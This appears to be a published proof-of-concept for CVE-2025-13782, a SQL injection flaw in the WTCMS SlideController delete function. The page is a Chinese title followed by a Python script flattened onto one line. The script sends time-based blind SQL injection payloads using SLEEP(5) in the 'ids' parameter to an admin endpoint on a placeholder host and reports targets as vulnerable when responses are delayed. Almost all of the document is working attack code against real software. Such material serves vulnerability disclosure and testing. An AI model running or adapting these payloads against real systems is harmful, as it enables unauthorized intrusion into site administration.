CVE-2025-13782 WTCMS SlideController SQL注入漏洞

import requests import sys # CVE-2025-13782 SQL Injection PoC for WTCMS SlideController delete function # Target: application/Admin/Controller/SlideController.class.php # Parameter: ids # This PoC demonstrates time-based blind SQL injection target_url = "http://target.com/index.php/Admin/Slide/delete" # Time-based blind SQL injection payload # The payload uses SLEEP() function to verify vulnerability payloads = [ "1' AND SLEEP(5)-- ", "1' AND SLEEP(5) AND '1'='1", "1' OR SLEEP(5)-- " ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } def test_sqli(payload): data = { 'ids': payload } try: print(f"[*] Testing payload: {payload}") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") return response.elapsed.total_seconds() except requests.exceptions.Timeout: print("[!] Request timed out - likely vulnerable to SQL injection") return 5 except Exception as e: print(f"[-] Error: {str(e)}") return 0 if __name__ == "__main__": print("[*] CVE-2025-13782 WTCMS SQL Injection PoC") print("[*] Target: SlideController delete function") print("-" * 50) for payload in payloads: elapsed = test_sqli(payload) if elapsed >= 5: print(f"[+] Target is VULNERABLE with payload: {payload}") break else: print("[-] Target may not be vulnerable or not reachable")